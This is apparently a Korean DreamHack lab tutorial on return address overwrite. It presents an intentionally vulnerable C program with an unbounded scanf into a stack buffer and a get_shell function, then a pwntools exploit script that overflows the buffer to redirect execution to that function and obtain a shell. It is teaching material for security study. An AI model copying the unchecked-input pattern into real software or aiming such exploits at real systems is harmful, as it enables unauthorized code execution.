본문 바로가기

DreamHack: System Hacking/F Stage 5

Exploit Tech: Return Address Overwrite(리턴 주소 변경 및 실습)

이번 글에서는 ret 주소를 버퍼 오버플로우를 통해 변경하는 실습을 함께 해볼 것입니다.

 

소스 코드:

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);
 
  return 0;
}

설명: 위의 소스 코드에는 shell을 실행시킬 수 있는 get_shell이라는 함수가 존재합니다. 이 취약점을 이용하여 메인함수의 scanf 함수를 이용하여 버퍼 오버플로우을 일으켜 메인함수의 ret 주소를 get_shell 함수의 시작점으로 바꾼다면, 성공적으로 shell을 획득할 수 있을 것입니다.

 

그럼 이를 위하여 get_shell 함수의 주소가 어디인지, 메인함수의 스택프레임은 어느 구조를 갖고 있는지 pwngdb를 통해 확인해봅시다.

 

1) 먼저 메인함수에 breakpoint를 설정해줍니다

2) 그 다음 메인함수의 스택 구조를 살펴봅니다

메인함수에 0x30만큼의 공간이 할당되었음을 알 수 있습니다. 그러므로 더미값을 0x30만큼 채워주고, sfp에 더미값을 0x8(64bit 아키텍처에서는 sfp의 크기가 8byte임)만큼, 그리고 원하는 함수의 주소값을 넣어주면 됩니다.

 

3) 우리가 실행할 함수인 get_shell의 주소를 알아봅시다

get_shell 함수는 0x4011dd에 위치해있음을 알 수 있습니다.

 

4) 익스플로잇 코드를 짭니다(우리는 pwntools를 활용할 것입니다)

 

익스플로잇 코드(exploit.py):

from pwn import *
context.arch="amd64"

p = process('./rao')

p.send('A'*0x30)  #main함수의 버퍼에 더미값
p.send('A'*0x8)  #main함수 스택의 sfp에 더미값
p.send(b'\xdd\x11\x40\x00\x00\x00\x00\x00')  #ret에 get_shell()의 주소값

p.interactive()

 

주의: get_shell()의 주소값을 넣을 때, 현재 아키텍처인 x86-64는 리틀엔디안 방식을 사용하므로, 주소값을 리틀-엔디안 방식으로 넣어줘야합니다.

 

5) 익스플로잇 코드를 실행하면 성공적으로 get_shell 함수가 실행되어 shell을 성공적으로 획득했음을 확인할 수 있습니다